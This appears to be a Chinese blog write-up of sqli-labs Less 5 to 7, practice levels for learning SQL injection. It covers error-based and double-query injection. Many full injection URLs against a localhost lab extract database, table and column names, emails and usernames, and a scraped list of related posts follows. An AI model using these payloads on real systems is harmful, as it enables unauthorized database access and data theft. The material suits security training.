先介绍一些函数

count(*)

返回在给定的选择中被选的行数,即结果的数目

报错了,但是union没有出结果?,只是为什么?

原来是这样,这样的话只能用报错注入了

(). 通过floor报错
and (select from (select count(*),concat((payload),floor (rand()*))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符 (). 通过updatexml报错
and updatexml(,payload,)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效 (). 通过ExtractValue报错
and extractvalue(, payload)
输出字符有长度限制,最长32位。 payload即我们要输入的sql查询语句

floor报错注入即双查询注入

可以参考

https://www.2cto.com/article/201303/192718.html

双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。

http://localhost/sql/Less-5/?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
当然只有一个也行
http://localhost/sqli/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23 http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+ http://localhost/sql/Less-5/?id=-1' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

因为是随机性,所以要多刷新几下

http://localhost/sql/Less-5/?id=-1' union select count(*),count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a %23

查询有哪些数据库

http://localhost/sql/Less-5/?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

字数超限

http://localhost/sql/Less-5/?id=2' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 1,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查询表

http://localhost/sql/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

查询列字段

http://localhost/sql/Less-5/?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

查询内容

http://localhost/sql/Less-5/?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
http://localhost/sql/Less-5/?id=1' union select count(*),1, concat('~',(select username from users limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

用group_concat()查看多个发现不行,不知道为啥~~

less-6

与less-5一样,只是把id外面的单引号改为了双引号

less-7

关键代码

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

关键只是id用'))闭合就行了,但缺爆了错误 ,有点蒙,以后补充解释,

提示是用

use outfile

sqli-labs学习(less-5-less-7)的更多相关文章

  1. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  2. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. Eclipse 配置 maven 的两个 settings 文件

    eclipse配置的settings文件名完全可以自定义,而本机maven只认识settings.xml文件. eclipse里配置maven有一个叫全局的,有一个叫用户的.这两个文件可以和本机mav ...

  2. centos7安装magento随记 这就是个坑,果断放弃

    在centos7通过yum安装PHP7,首先在终端运行:rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm提示错误:er ...

  3. Linux 系统下 centOS 7 ipconfig 提示没有安装

    首先更正一下,在Linux系统下,查看IP地址,指令是ifconfig 没有root权限情况下,安装指令为 sudo yum -y install net-tool 有root权限的话,直接执行 yu ...

  4. Django 自定义分页

    1.路由 urls.py url(r'^index2.html/', views.index2), 2.views.py def index2(request): # 数据总条数 当前页 每页显示条数 ...

  5. C++中数字与字符串之间的转换(转)

    http://www.cnblogs.com/luxiaoxun/archive/2012/08/03/2621803.html 1.字符串数字之间的转换 (1)string --> char ...

  6. November 5th Week 45th Saturday 2016

    The longest day has an end. 最难过的日子也会有尽头. No, no, no, I can't see the end of such days, of course, if ...

  7. 利用xlst导出多表头的简便方法

    大家都知道在ASP.NET中进行表格导出有很多种办法,aspose,npoi,cvs等等,今天就来介绍xlst,导出多表头.与以往不一样的是我们利用模板,只需要在模板中定义好表格样式,然后绑定数据就可 ...

  8. React & TypeScript

    之前看了一下 TypeScript 的知识,但是一直没有上手,最近开始结合 React 和 TypeScript 一起尝试了一下,感受还是很好的,所以写一下笔记. 环境配置没有参考其他东西,就是看了下 ...

  9. swift的enum基础

    其它语言的枚举: 符号化的整型常量的集合: swift的枚举: 可以是任何基础类型和无类型: If you are familiar with C, you will know that C enum ...

  10. 2754. [SCOI2012]喵星球上的点名【后缀数组】

    Description a180285幸运地被选做了地球到喵星球的留学生.他发现喵星人在上课前的点名现象非常有趣.   假设课堂上有N个喵星人,每个喵星人的名字由姓和名构成.喵星球上的老师会选择M个串 ...